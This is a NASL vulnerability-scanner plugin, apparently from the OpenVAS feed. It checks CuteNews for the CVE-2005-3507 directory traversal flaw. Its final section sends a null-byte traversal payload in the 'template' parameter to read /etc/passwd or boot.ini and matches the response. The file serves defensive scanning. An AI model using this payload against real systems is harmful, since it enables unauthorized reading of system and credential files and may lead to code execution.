CuteNews directory traversal flaw

# SPDX-FileCopyrightText: 2005 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

# Ref: retrogod at aliceposta.it

CPE = "cpe:/a:cutephp:cutenews";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.20137");
  script_version("2023-08-01T13:29:10+0000");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
  script_cve_id("CVE-2005-3507");
  script_xref(name:"OSVDB", value:"20472");
  script_xref(name:"OSVDB", value:"20473");
  script_xref(name:"OSVDB", value:"20474");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_name("CuteNews directory traversal flaw");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2005 David Maciejak");
  script_family("Web application abuses");
  script_require_ports("Services/www", 80);
  script_dependencies("cutenews_detect.nasl", "cross_site_scripting.nasl");
  script_mandatory_keys("cutenews/installed");

  script_xref(name:"URL", value:"http://retrogod.altervista.org/cute141.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/15295");

  script_tag(name:"solution", value:"Update to the latest version.");

  script_tag(name:"summary", value:"The version of CuteNews installed on the remote host fails to sanitize
  user-supplied input to the 'template' parameter of the 'show_archives.php' and 'show_news.php' scripts.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to read arbitrary files and possibly
  even execute arbitrary PHP code on the remote host, subject to the privileges of the web server user id.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

foreach file (make_list("etc/passwd", "boot.ini")) {
  url = dir + "/show_archives.php?template=../../../../../../../../../" + file + "%00";
  req = http_get(item: url, port:port);
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if(res == NULL) exit(0);
  if(egrep(pattern:"(root:.*:0:[01]:|\[boot loader\])", string:res)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);